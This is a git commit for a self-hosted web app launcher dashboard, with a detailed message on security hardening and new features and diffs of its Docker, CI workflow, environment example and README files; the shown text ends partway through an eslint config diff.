feat: production hardening + password reset, metrics, signed webhooks
Security hardening (CRITICAL/HIGH from production-readiness audit):
- Require strong JWT_SECRET + separate INTEGRATION_ENCRYPTION_KEY at boot;
refuse placeholder defaults. Integration key now derived via HKDF.
- SSRF guard (src/lib/server/utils/safeFetch.ts): DNS-resolves and rejects
RFC1918/loopback/link-local/IPv4-mapped IPv6/decimal-IP/cloud-metadata.
Manual redirect handling re-validates each 3xx Location hop. Applied to
healthcheck, RSS, calendar, metric, system-stats, camera, notifications,
discovery, apps/preview, and all integration clients.
- API tokens, session refresh tokens, invite tokens, password-reset tokens
switched from bcrypt to sha256 with @unique indexed lookup (O(1) instead
of O(N) bcrypt-compares; eliminates a trivial DoS).
- Refresh-token reuse detection via Session.previousTokenHash.
- Permission checks on App PATCH/DELETE and Widget/Section endpoints.
- /api/integrations/alerts now requires auth.
- SVG uploads sanitized through DOMPurify (svg profile, scheme allow-list).
- Custom CSS sanitizer + selector scoping (decodes CSS unicode escapes
before pattern match, drops forbidden at-rules incl. @import without
whitespace, strips dangerous url() args). Scoped to .custom-css-scope.
- Backup restore validates SQLite magic header, takes a safety snapshot,
uses atomic rename, re-applies pragmas.
- SQLite WAL + busy_timeout + foreign_keys + synchronous=NORMAL at startup.
- Healthcheck scheduler was dead code; wired in hooks.server.ts with
HMR-safe singleton, concurrency cap, overlap prevention, retention jobs
for AppClick/Notification/AuditLog. Composite indexes added on hot paths.
- Security headers (CSP, HSTS-on-https, X-Frame-Options, Permissions-Policy)
emitted on every response.
- Account-enumeration mitigation on login (dummy bcrypt on no-user/oauth
branches) + rate limiting on login/register/onboarding/refresh/invite/
password-reset.
- OAuth callback sanitizes IdP error_description before echoing.
New features:
- Custom +error.svelte pages (root + boards + admin) via shared
ErrorState component. Inverted hierarchy (status as label, title as hero).
- /forgot-password + /reset-password + admin-mediated /admin/password-resets
page. SHA256 tokens, 24h TTL, all sessions revoked on apply.
- /invite page for manual invite-token redemption.
- /api/metrics Prometheus exposition with optional METRICS_TOKEN bearer
auth. Counters for login/healthcheck/notification/integration; gauges
for users/boards/apps + per-status app counts.
- Webhook HMAC-SHA256 signing for HTTP notification channels (optional
shared secret + configurable signature header, default X-Signature-256).
- PATCH /api/users/me/password for self-service password change.
- Persistent uploads at /app/data/uploads with served-from-volume handler
at /uploads/[...path]. SVGs served with CSP: sandbox.
- /api/health does a DB ping; returns 503 on disconnect.
- Public /status filtered to guest-accessible-board apps when unauthenticated.
- Audit log coverage: LOGIN_SUCCESS/FAILED, LOGOUT, OAUTH_LOGIN,
OAUTH_USER_PROVISIONED, SESSION_REVOKED, API_TOKEN_*, INVITE_*,
APP_UPDATED, PASSWORD_CHANGED, PASSWORD_RESET_*.
Performance:
- Board page: removed double findAll() over-fetch; include links + appTags
in board query; widgets lazy-loaded via dynamic imports (marked,
DOMPurify, hls.js, integration renderers).
- uptimeService.getAllAppsUptime: single batched query instead of N+1.
- 30s in-memory user-locals cache; invalidated on user mutation.
- pruneOldStatuses: single window-function DELETE instead of N+1.
Code quality:
- Typed error classes (NotFoundError, PermissionError, RateLimitError,
IntegrationError) with toHttpError mapper.
- Locals.user shape exposes avatarUrl and narrows role via guard.
- App input types derived from Zod schemas via z.infer.
- 274 tests passing (up from 212); 62 new tests covering SSRF guard,
CSS sanitizer, SVG sanitizer, rate limiter.
CI / Docker / config:
- Test workflow adds build, docker-build, audit jobs. Release workflow
uses buildx multi-arch (amd64+arm64) with provenance + SBOM.
- Dockerfile uses tini, multi-stage prune, persistent uploads dir, single
prisma migrate deploy (no destructive db push fallback).
- docker-compose: JWT_SECRET + INTEGRATION_ENCRYPTION_KEY required at
startup, log rotation, resource limits.
- README documents breaking-change upgrade path.
Bug fixes from UI/UX review:
- ~55 missing i18n keys added to en/ru (auth flows, error pages, admin
nav, register invite banner, settings.card_style).
- Hardcoded English on login replaced with $t('auth.remember_me').
- Admin nav uses i18n keys; mobile horizontal-scroll layout.
- Page <title> tags standardized.
- Password-resets: separated error/info/success surfaces, ConfirmDialog
replaces window.confirm.
- Auth pages have matching lucide icon badges.
- Webhook secret has eye toggle and monospace input.
- text-green-500 → text-emerald-500 to match codebase convention.
Pre-existing CI lint failures cleaned up (31 errors → 0): each-key
attributes added, unused-svelte-ignore comments removed, two any casts
typed, dead skeleton components removed, /boards/[id]/edit redirect to
inline edit mode.
Tests: 274 / 274 passing
Type check: 0 errors / 0 warnings
Build: green
This commit is contained in:
+17
-1
@@ -5,9 +5,25 @@ data/
|
||||
coverage/
|
||||
.git/
|
||||
.gitea/
|
||||
.github/
|
||||
.claude/
|
||||
.idea/
|
||||
.vscode/
|
||||
.env
|
||||
.env.*
|
||||
!.env.example
|
||||
*.md
|
||||
plans/
|
||||
PLAN_PROMPT.md
|
||||
README.md
|
||||
RELEASE_NOTES.md
|
||||
*.log
|
||||
**/*.test.ts
|
||||
**/*.spec.ts
|
||||
**/__tests__/
|
||||
tests/
|
||||
playwright-report/
|
||||
test-results/
|
||||
*.swp
|
||||
*.swo
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
+34
-7
@@ -1,26 +1,39 @@
|
||||
# Database
|
||||
# --- Database ---
|
||||
DATABASE_URL="file:../data/launcher.db"
|
||||
|
||||
# Authentication
|
||||
JWT_SECRET="change-me-to-a-random-64-char-string"
|
||||
# --- Authentication (REQUIRED) ---
|
||||
# Generate a strong secret with: openssl rand -hex 32
|
||||
# The server refuses to start with placeholder or short values (< 32 chars).
|
||||
JWT_SECRET=""
|
||||
JWT_EXPIRY="15m"
|
||||
REFRESH_TOKEN_EXPIRY="7d"
|
||||
|
||||
# Application
|
||||
# --- Integration credential encryption (REQUIRED if any integration is configured) ---
|
||||
# Must be DIFFERENT from JWT_SECRET so rotating one does not invalidate the other.
|
||||
# Generate a strong secret with: openssl rand -hex 32
|
||||
INTEGRATION_ENCRYPTION_KEY=""
|
||||
|
||||
# --- Application ---
|
||||
APP_PORT=3000
|
||||
APP_HOST="0.0.0.0"
|
||||
# ORIGIN must match the public URL users visit. When it begins with https://,
|
||||
# session cookies are issued with the Secure flag. Set this when running behind
|
||||
# a reverse proxy that terminates TLS, e.g. ORIGIN="https://launcher.example.com"
|
||||
ORIGIN="http://localhost:3000"
|
||||
|
||||
# Legacy alias — keep for older docs; not used internally.
|
||||
APP_URL="http://localhost:3000"
|
||||
|
||||
# OAuth / OIDC (optional — configure here or in Admin > Settings)
|
||||
# --- OAuth / OIDC (optional — configure here or in Admin > Settings) ---
|
||||
OAUTH_CLIENT_ID=""
|
||||
OAUTH_CLIENT_SECRET=""
|
||||
OAUTH_DISCOVERY_URL=""
|
||||
OAUTH_REDIRECT_URI=""
|
||||
|
||||
# Guest mode (true = allow unauthenticated dashboard access)
|
||||
# Guest mode (true = allow unauthenticated dashboard access to guest-accessible boards)
|
||||
GUEST_MODE="true"
|
||||
|
||||
# Health check interval (cron expression — every 5 minutes)
|
||||
# Healthcheck cron expression — default every 5 minutes
|
||||
HEALTHCHECK_CRON="*/5 * * * *"
|
||||
HEALTHCHECK_TIMEOUT_MS="5000"
|
||||
|
||||
@@ -28,5 +41,19 @@ HEALTHCHECK_TIMEOUT_MS="5000"
|
||||
DOCKER_SOCKET_PATH="/var/run/docker.sock"
|
||||
TRAEFIK_API_URL=""
|
||||
|
||||
# Allow outbound fetches to private/internal hosts. Default is "false" which
|
||||
# blocks SSRF (loopback, RFC1918, link-local, cloud-metadata). Self-hosted
|
||||
# users monitoring services on a LAN typically want this set to "true".
|
||||
ALLOW_PRIVATE_NETWORK_FETCH="false"
|
||||
|
||||
# Run background jobs (healthcheck, backup) in THIS process. Set to "false" when
|
||||
# scaling horizontally so only one node runs schedulers.
|
||||
RUN_SCHEDULERS="true"
|
||||
|
||||
# Optional bearer token for /api/metrics. When set, scrapers must send
|
||||
# `Authorization: Bearer <token>`. When unset, the endpoint is open (typical
|
||||
# when the scraper lives on the same private network).
|
||||
METRICS_TOKEN=""
|
||||
|
||||
# Node environment
|
||||
NODE_ENV="production"
|
||||
|
||||
@@ -17,7 +17,6 @@ jobs:
|
||||
TAG="${{ gitea.ref_name }}"
|
||||
VERSION="${TAG#v}"
|
||||
REGISTRY="${{ gitea.server_url }}"
|
||||
# Strip https:// for registry address
|
||||
REGISTRY="${REGISTRY#https://}"
|
||||
REGISTRY="${REGISTRY#http://}"
|
||||
IMAGE="${REGISTRY}/${{ gitea.repository }}"
|
||||
@@ -25,23 +24,34 @@ jobs:
|
||||
echo "image=${IMAGE}" >> "$GITHUB_OUTPUT"
|
||||
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Login to Gitea Container Registry
|
||||
run: |
|
||||
echo "${{ secrets.DEPLOY_TOKEN }}" | docker login "${{ gitea.server_url }}" -u "${{ gitea.repository_owner }}" --password-stdin
|
||||
|
||||
- name: Build and push Docker image
|
||||
run: |
|
||||
IMAGE="${{ steps.meta.outputs.image }}"
|
||||
VERSION="${{ steps.meta.outputs.version }}"
|
||||
docker build \
|
||||
--label "org.opencontainers.image.source=${{ gitea.server_url }}/${{ gitea.repository }}" \
|
||||
--label "org.opencontainers.image.description=Self-hosted web app launcher dashboard" \
|
||||
--label "org.opencontainers.image.version=${VERSION}" \
|
||||
-t "${IMAGE}:${VERSION}" \
|
||||
-t "${IMAGE}:latest" \
|
||||
.
|
||||
docker push "${IMAGE}:${VERSION}"
|
||||
docker push "${IMAGE}:latest"
|
||||
- name: Build and push multi-arch Docker image
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
push: true
|
||||
provenance: true
|
||||
sbom: true
|
||||
build-args: |
|
||||
VERSION=${{ steps.meta.outputs.version }}
|
||||
tags: |
|
||||
${{ steps.meta.outputs.image }}:${{ steps.meta.outputs.version }}
|
||||
${{ steps.meta.outputs.image }}:latest
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ gitea.server_url }}/${{ gitea.repository }}
|
||||
org.opencontainers.image.description=Self-hosted web app launcher dashboard
|
||||
org.opencontainers.image.version=${{ steps.meta.outputs.version }}
|
||||
org.opencontainers.image.licenses=MIT
|
||||
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
@@ -61,28 +71,37 @@ jobs:
|
||||
VERSION="${TAG#v}"
|
||||
BASE_URL="${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}"
|
||||
|
||||
# Detect pre-release (alpha/beta/rc)
|
||||
IS_PRE="false"
|
||||
if echo "$TAG" | grep -qE '(alpha|beta|rc)'; then
|
||||
IS_PRE="true"
|
||||
fi
|
||||
|
||||
# Read release notes if present
|
||||
# Extract release notes for THIS version only. Falls back to whole file
|
||||
# if the markers aren't found.
|
||||
if [ -f RELEASE_NOTES.md ]; then
|
||||
BODY_JSON=$(jq -Rs '.' < RELEASE_NOTES.md)
|
||||
echo "Found RELEASE_NOTES.md"
|
||||
BODY=$(awk -v v="$VERSION" '
|
||||
BEGIN {capture = 0}
|
||||
/^## (v?)/ {
|
||||
if (capture) {exit}
|
||||
if ($0 ~ "## v?"v"([^0-9]|$)") {capture = 1; next}
|
||||
}
|
||||
capture {print}
|
||||
' RELEASE_NOTES.md)
|
||||
if [ -z "$BODY" ]; then
|
||||
BODY=$(cat RELEASE_NOTES.md)
|
||||
fi
|
||||
BODY_JSON=$(printf '%s' "$BODY" | jq -Rs '.')
|
||||
echo "Found RELEASE_NOTES.md (extracted section for $VERSION)"
|
||||
else
|
||||
BODY_JSON='""'
|
||||
echo "No RELEASE_NOTES.md found — release will have no body"
|
||||
fi
|
||||
|
||||
# Check if release already exists for this tag
|
||||
EXISTING=$(curl -s -o /dev/null -w "%{http_code}" \
|
||||
"$BASE_URL/releases/tags/$TAG" \
|
||||
-H "Authorization: token $DEPLOY_TOKEN")
|
||||
|
||||
if [ "$EXISTING" = "200" ]; then
|
||||
# Update existing release
|
||||
RELEASE_ID=$(curl -s "$BASE_URL/releases/tags/$TAG" \
|
||||
-H "Authorization: token $DEPLOY_TOKEN" | jq -r '.id')
|
||||
curl -s -X PATCH "$BASE_URL/releases/$RELEASE_ID" \
|
||||
@@ -96,7 +115,6 @@ jobs:
|
||||
}"
|
||||
echo "Updated existing release $RELEASE_ID for $TAG"
|
||||
else
|
||||
# Create new release
|
||||
curl -s -X POST "$BASE_URL/releases" \
|
||||
-H "Authorization: token $DEPLOY_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
|
||||
+60
-29
@@ -6,50 +6,81 @@ on:
|
||||
pull_request:
|
||||
branches: [master, main]
|
||||
|
||||
env:
|
||||
NODE_VERSION: '22'
|
||||
|
||||
jobs:
|
||||
lint-and-check:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '22'
|
||||
node-version: ${{ env.NODE_VERSION }}
|
||||
cache: 'npm'
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
|
||||
- name: Generate Prisma client
|
||||
run: npx prisma generate
|
||||
|
||||
- name: Lint
|
||||
run: npm run lint
|
||||
|
||||
- name: Format check
|
||||
run: npm run format:check
|
||||
|
||||
- name: Type check
|
||||
run: npm run check
|
||||
- run: npm ci
|
||||
- run: npx prisma generate
|
||||
- run: npm run lint
|
||||
- run: npm run format:check
|
||||
- run: npm run check
|
||||
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
needs: lint-and-check
|
||||
env:
|
||||
# Deterministic test secrets so the env validator at module import doesn't trip.
|
||||
JWT_SECRET: 'test-secret-must-be-at-least-32-characters-long-for-validation'
|
||||
INTEGRATION_ENCRYPTION_KEY: 'integration-test-key-must-be-at-least-32-characters'
|
||||
ORIGIN: 'http://localhost:3000'
|
||||
DATABASE_URL: 'file:./test.db'
|
||||
NODE_ENV: 'test'
|
||||
RUN_SCHEDULERS: 'false'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '22'
|
||||
node-version: ${{ env.NODE_VERSION }}
|
||||
cache: 'npm'
|
||||
- run: npm ci
|
||||
- run: npx prisma generate
|
||||
- run: npx prisma migrate deploy
|
||||
- run: npm test
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
needs: lint-and-check
|
||||
env:
|
||||
JWT_SECRET: 'build-secret-must-be-at-least-32-characters-long-for-validation'
|
||||
INTEGRATION_ENCRYPTION_KEY: 'integration-build-key-must-be-at-least-32-characters'
|
||||
DATABASE_URL: 'file:./build.db'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: ${{ env.NODE_VERSION }}
|
||||
cache: 'npm'
|
||||
- run: npm ci
|
||||
- run: npx prisma generate
|
||||
- run: npm run build
|
||||
|
||||
- name: Generate Prisma client
|
||||
run: npx prisma generate
|
||||
docker-build:
|
||||
runs-on: ubuntu-latest
|
||||
needs: lint-and-check
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Smoke-test Dockerfile build
|
||||
run: docker build -t web-app-launcher:ci-smoke --build-arg VERSION=ci .
|
||||
|
||||
- name: Run tests
|
||||
run: npm test
|
||||
audit:
|
||||
runs-on: ubuntu-latest
|
||||
needs: lint-and-check
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: ${{ env.NODE_VERSION }}
|
||||
cache: 'npm'
|
||||
- run: npm ci
|
||||
# Production-only audit. devDeps regularly carry low-severity advisories
|
||||
# we accept; only block on production-shipped CVEs.
|
||||
- run: npm audit --omit=dev --audit-level=high
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
# vex configuration — https://github.com/tenatarika/vex
|
||||
#
|
||||
# Place this file in your project root as .vex.toml
|
||||
|
||||
# Glob patterns to exclude from indexing (gitignore syntax, on top of .gitignore)
|
||||
# exclude = [
|
||||
# "vendor/**",
|
||||
# "node_modules/**",
|
||||
# "*.generated.go",
|
||||
# "dist/**",
|
||||
# ]
|
||||
|
||||
# Default output format: "text", "json", or "compact"
|
||||
# format = "text"
|
||||
|
||||
semantic = true
|
||||
auto_update = true
|
||||
|
||||
# Embedder used for semantic indexing. Known IDs: minilm-l6-v2 (default).
|
||||
# Changing the embedder requires a full reindex.
|
||||
# embedder = "minilm-l6-v2"
|
||||
|
||||
# Cache directory override. Defaults to the platform cache location.
|
||||
# macOS: ~/Library/Caches/vex
|
||||
# Linux: $XDG_CACHE_HOME/vex (fallback: ~/.cache/vex)
|
||||
# Windows: %LOCALAPPDATA%\vex (fallback: %USERPROFILE%\AppData\Local\vex)
|
||||
# Accepts absolute paths, "~/..." or paths relative to this file (e.g. "./.vex/cache").
|
||||
# Can also be overridden per-invocation with --cache-dir or $VEX_CACHE_DIR.
|
||||
# cache_dir = "./.vex/cache"
|
||||
|
||||
# Store the index inside the project as `<project>/.vex_cache/`. Useful when
|
||||
# the cache should travel with the project (e.g. on a moved or renamed
|
||||
# directory). vex writes a `.gitignore` inside it so contents are not
|
||||
# committed. Overridden by `cache_dir`, `--cache-dir`, or $VEX_CACHE_DIR.
|
||||
# local_cache = false
|
||||
|
||||
# Thread count for parallel indexing (index/update/watch).
|
||||
# * unset — 80% of available cores, rounded up (default, leaves headroom)
|
||||
# * 0 — use all cores (explicit opt-in to max throughput)
|
||||
# * N — exactly N workers
|
||||
# Overridable per-invocation with `-j/--jobs` or $VEX_JOBS.
|
||||
# jobs = 4
|
||||
|
||||
# Build the persistent call-graph section. Disabling falls back to live-scan
|
||||
# for `vex callers`/`vex callees` (slower per-query, but saves indexing
|
||||
# time on large monorepos). The opt-out is persisted in the manifest so
|
||||
# `vex update` does not silently re-add the section.
|
||||
# Per-invocation override: `vex index --no-call-graph`.
|
||||
# call_graph = true
|
||||
|
||||
# Build the BM25 channel. Disabling drops the third RRF channel and keeps
|
||||
# only structural (+ semantic). Same persistence rules as `call_graph`.
|
||||
# Per-invocation override: `vex index --no-bm25`.
|
||||
# bm25 = true
|
||||
+29
-7
@@ -1,4 +1,6 @@
|
||||
# Stage 1: Install dependencies
|
||||
# syntax=docker/dockerfile:1
|
||||
|
||||
# Stage 1: Install dependencies (includes devDeps needed for build)
|
||||
FROM node:22-alpine AS deps
|
||||
WORKDIR /app
|
||||
COPY package.json package-lock.json ./
|
||||
@@ -11,12 +13,20 @@ COPY --from=deps /app/node_modules ./node_modules
|
||||
COPY . .
|
||||
RUN npx prisma generate
|
||||
RUN npm run build
|
||||
RUN npm prune --production
|
||||
# Drop devDependencies so the production image stays small.
|
||||
RUN npm prune --omit=dev
|
||||
|
||||
# Stage 3: Production image
|
||||
# Stage 3: Production runtime image
|
||||
FROM node:22-alpine AS production
|
||||
WORKDIR /app
|
||||
|
||||
# Embed the version (build-time) so /api/health can echo it later.
|
||||
ARG VERSION=0.0.0
|
||||
ENV APP_VERSION=$VERSION
|
||||
|
||||
# Install curl for the entrypoint healthcheck. Tini for proper signal handling.
|
||||
RUN apk add --no-cache curl tini
|
||||
|
||||
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
|
||||
|
||||
COPY --from=build --chown=appuser:appgroup /app/build ./build
|
||||
@@ -24,17 +34,29 @@ COPY --from=build --chown=appuser:appgroup /app/node_modules ./node_modules
|
||||
COPY --from=build --chown=appuser:appgroup /app/package.json ./
|
||||
COPY --from=build --chown=appuser:appgroup /app/prisma ./prisma
|
||||
|
||||
RUN mkdir -p /app/data && chown appuser:appgroup /app /app/data
|
||||
# Persistent data dir + uploads subdir. The named volume mount in
|
||||
# docker-compose targets /app/data, so uploads survive container rebuilds.
|
||||
RUN mkdir -p /app/data /app/data/uploads /app/data/uploads/wallpapers /app/data/backups \
|
||||
&& chown -R appuser:appgroup /app /app/data
|
||||
|
||||
USER appuser
|
||||
|
||||
ENV NODE_ENV=production
|
||||
ENV APP_PORT=3000
|
||||
ENV APP_HOST=0.0.0.0
|
||||
ENV UPLOADS_DIR=/app/data/uploads
|
||||
|
||||
EXPOSE 3000
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
|
||||
CMD wget -qO- http://localhost:3000/api/health || exit 1
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=15s --retries=3 \
|
||||
CMD curl -sf http://localhost:3000/api/health || exit 1
|
||||
|
||||
CMD ["sh", "-c", "(npx prisma migrate deploy 2>/dev/null || npx prisma db push) && ORIGIN=${ORIGIN:-http://localhost:${APP_PORT:-3000}} node build"]
|
||||
# Entrypoint:
|
||||
# - Always run `prisma migrate deploy`. On an empty DB this creates the schema
|
||||
# from the migration history (no separate `db push` bootstrap needed); on an
|
||||
# existing DB it applies pending migrations only. No silent fallback — drift
|
||||
# and migration failures surface loudly.
|
||||
# - Default ORIGIN to localhost:APP_PORT so dev compose works, but production
|
||||
# deployments MUST set ORIGIN to the public URL for Secure cookies.
|
||||
ENTRYPOINT ["/sbin/tini", "--"]
|
||||
CMD ["sh", "-c", "npx prisma migrate deploy && ORIGIN=${ORIGIN:-http://localhost:${APP_PORT:-3000}} node build"]
|
||||
|
||||
@@ -7,7 +7,7 @@ A self-hosted dashboard for organizing, monitoring, and launching web applicatio
|
||||
- **App registry** — add apps with icons, tags, and categories; automatic healthcheck monitoring with sparkline history
|
||||
- **Boards & widgets** — customizable dashboards with drag-and-drop, resizable widget columns, and inline WYSIWYG editing
|
||||
- **Service integrations** — connect to media services, Planka, and more to display live data in widgets
|
||||
- **Authentication** — local accounts + OAuth/Authentik; per-board access control
|
||||
- **Authentication** — local accounts + OAuth/Authentik; per-board access control; API tokens
|
||||
- **Localization** — English and Russian
|
||||
- **PWA** — installable, multi-tab sync, auto-discovery bookmarklet
|
||||
- **SQLite backup/restore** — full database backup from the admin panel
|
||||
@@ -15,14 +15,20 @@ A self-hosted dashboard for organizing, monitoring, and launching web applicatio
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Clone and run with Docker Compose
|
||||
git clone https://git.dolgolyov-family.by/alexei.dolgolyov/web-app-launcher.git
|
||||
cd web-app-launcher
|
||||
|
||||
# Generate two strong secrets
|
||||
export JWT_SECRET=$(openssl rand -hex 32)
|
||||
export INTEGRATION_ENCRYPTION_KEY=$(openssl rand -hex 32)
|
||||
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
The app is available at `http://localhost:3000`. On first launch, create an admin account at the setup page.
|
||||
|
||||
The launcher **refuses to start** if `JWT_SECRET` or `INTEGRATION_ENCRYPTION_KEY` is missing, shorter than 32 characters, or set to a known placeholder. This is intentional — running with the old `change-me-…` defaults would let anyone mint admin tokens.
|
||||
|
||||
## Configuration
|
||||
|
||||
Environment variables (set in `docker-compose.yml` or `.env`):
|
||||
@@ -30,19 +36,83 @@ Environment variables (set in `docker-compose.yml` or `.env`):
|
||||
| Variable | Default | Description |
|
||||
|----------|---------|-------------|
|
||||
| `APP_PORT` | `3000` | Port to expose |
|
||||
| `JWT_SECRET` | — | Secret for JWT signing (change in production!) |
|
||||
| `GUEST_MODE` | `true` | Allow unauthenticated access |
|
||||
| `JWT_SECRET` | **required** | Strong secret for JWT signing. Generate with `openssl rand -hex 32`. |
|
||||
| `INTEGRATION_ENCRYPTION_KEY` | **required** | Strong secret for encrypting stored integration credentials. Must differ from `JWT_SECRET`. Generate with `openssl rand -hex 32`. |
|
||||
| `ORIGIN` | `http://localhost:$APP_PORT` | Public URL users visit. When set to `https://...`, session cookies are issued with the Secure flag. **Set this to your public https URL when behind a reverse proxy.** |
|
||||
| `GUEST_MODE` | `true` | Allow unauthenticated access to guest-flagged boards |
|
||||
| `HEALTHCHECK_CRON` | `*/5 * * * *` | App healthcheck interval |
|
||||
| `HEALTHCHECK_TIMEOUT_MS` | `5000` | Healthcheck request timeout |
|
||||
| `ALLOW_PRIVATE_NETWORK_FETCH` | `false` (`true` in dev) | Allow outbound fetches to RFC1918/loopback/link-local. Self-hosted users monitoring LAN services usually want `true`. Off by default in prod to mitigate SSRF. |
|
||||
| `RUN_SCHEDULERS` | `true` | Run background jobs (healthcheck, backup) in this process. Set `false` on extra horizontal replicas. |
|
||||
| `OAUTH_CLIENT_ID` | — | OAuth provider client ID |
|
||||
| `OAUTH_CLIENT_SECRET` | — | OAuth provider client secret |
|
||||
| `OAUTH_DISCOVERY_URL` | — | OpenID Connect discovery URL |
|
||||
| `METRICS_TOKEN` | — | Optional bearer token for `/api/metrics`. Unset = open (private-network setups) |
|
||||
|
||||
## Production deployment
|
||||
|
||||
### Reverse proxy (Traefik / Caddy / Nginx)
|
||||
|
||||
The launcher must know its public URL to issue secure cookies. Set `ORIGIN=https://launcher.example.com` and terminate TLS at the proxy. Example Traefik labels:
|
||||
|
||||
```yaml
|
||||
services:
|
||||
web-app-launcher:
|
||||
# remove `ports:` mapping
|
||||
networks: [traefik, launcher-net]
|
||||
labels:
|
||||
- traefik.enable=true
|
||||
- traefik.http.routers.launcher.rule=Host(`launcher.example.com`)
|
||||
- traefik.http.routers.launcher.entrypoints=websecure
|
||||
- traefik.http.routers.launcher.tls.certresolver=letsencrypt
|
||||
- traefik.http.services.launcher.loadbalancer.server.port=3000
|
||||
environment:
|
||||
- ORIGIN=https://launcher.example.com
|
||||
```
|
||||
|
||||
### Volume backup
|
||||
|
||||
```bash
|
||||
docker run --rm \
|
||||
-v web-app-launcher_launcher-data:/data \
|
||||
-v "$PWD":/backup \
|
||||
alpine tar czf /backup/launcher-backup.tar.gz -C /data .
|
||||
```
|
||||
|
||||
### Upgrade
|
||||
|
||||
```bash
|
||||
docker compose pull && docker compose up -d
|
||||
```
|
||||
|
||||
Database migrations run automatically on container start via `prisma migrate deploy`. The previous `db push` fallback was removed because it can silently drop columns on schema drift.
|
||||
|
||||
### Breaking changes when upgrading from versions ≤ 0.0.x
|
||||
|
||||
The 0.1.0 hardening release is a one-way upgrade with three breaking changes:
|
||||
|
||||
1. **`INTEGRATION_ENCRYPTION_KEY` is required and must differ from `JWT_SECRET`.** The launcher will refuse to start without it. Previously the integration key was derived from `JWT_SECRET`; all stored integration credentials (Planka, Authentik, Pi-hole, Portainer, Gitea, Immich, etc.) **will be undecryptable after the upgrade** and must be re-entered through the admin UI.
|
||||
|
||||
2. **All users will be logged out and all API tokens / invites will be revoked.** The hardening migration drops the `Session`, `Invite`, and `ApiToken` tables to switch from bcrypt-hashed storage to sha256 (so token validation is O(1) instead of O(N) bcrypt comparisons). Users will need to log in once; admins need to reissue API tokens and pending invites.
|
||||
|
||||
3. **Uploaded icons / wallpapers move from `static/uploads/` to `/app/data/uploads/`.** This makes them persist across container rebuilds. On upgrade, copy any existing files from your previous `static/uploads/` mount into the `launcher-data` volume:
|
||||
|
||||
```bash
|
||||
# if you previously mounted `./static/uploads:/app/static/uploads`
|
||||
docker run --rm \
|
||||
-v "$PWD/static/uploads:/src:ro" \
|
||||
-v web-app-launcher_launcher-data:/dst \
|
||||
alpine sh -c "mkdir -p /dst/uploads && cp -r /src/. /dst/uploads/"
|
||||
```
|
||||
|
||||
Take a backup before upgrading.
|
||||
|
||||
## Development
|
||||
|
||||
```bash
|
||||
npm install
|
||||
npx prisma generate
|
||||
# strong dev secrets are already in .env (gitignored)
|
||||
npm run dev
|
||||
```
|
||||
|
||||
|
||||
+20
-1
@@ -7,7 +7,13 @@ services:
|
||||
- '${APP_PORT:-3000}:3000'
|
||||
environment:
|
||||
- DATABASE_URL=file:/app/data/launcher.db
|
||||
- JWT_SECRET=${JWT_SECRET:-change-me-to-a-random-64-char-string}
|
||||
# JWT_SECRET is REQUIRED. Generate one with: openssl rand -hex 32
|
||||
# The container will refuse to start if this is not set or is too weak.
|
||||
- JWT_SECRET=${JWT_SECRET:?JWT_SECRET must be set. Generate with: openssl rand -hex 32}
|
||||
# INTEGRATION_ENCRYPTION_KEY encrypts stored credentials for integrations
|
||||
# (Planka, Authentik, Pi-hole, etc.). MUST differ from JWT_SECRET so that
|
||||
# rotating one does not invalidate the other.
|
||||
- INTEGRATION_ENCRYPTION_KEY=${INTEGRATION_ENCRYPTION_KEY:?INTEGRATION_ENCRYPTION_KEY must be set. Generate with: openssl rand -hex 32}
|
||||
- JWT_EXPIRY=${JWT_EXPIRY:-15m}
|
||||
- REFRESH_TOKEN_EXPIRY=${REFRESH_TOKEN_EXPIRY:-7d}
|
||||
- GUEST_MODE=${GUEST_MODE:-true}
|
||||
@@ -16,11 +22,24 @@ services:
|
||||
- NODE_ENV=production
|
||||
- APP_PORT=3000
|
||||
- APP_HOST=0.0.0.0
|
||||
# ORIGIN must match the public URL users visit. When set to https://...
|
||||
# session cookies are issued with the Secure flag. Behind a reverse proxy
|
||||
# terminating TLS, set this to the public https URL.
|
||||
- ORIGIN=${ORIGIN:-http://localhost:${APP_PORT:-3000}}
|
||||
volumes:
|
||||
- launcher-data:/app/data
|
||||
networks:
|
||||
- launcher-net
|
||||
logging:
|
||||
driver: json-file
|
||||
options:
|
||||
max-size: '10m'
|
||||
max-file: '3'
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
memory: 1g
|
||||
cpus: '1.0'
|
||||
|
||||
volumes:
|
||||
launcher-data:
|
||||
|
||||
+14
-1
@@ -23,7 +23,20 @@ export default ts.config(
|
||||
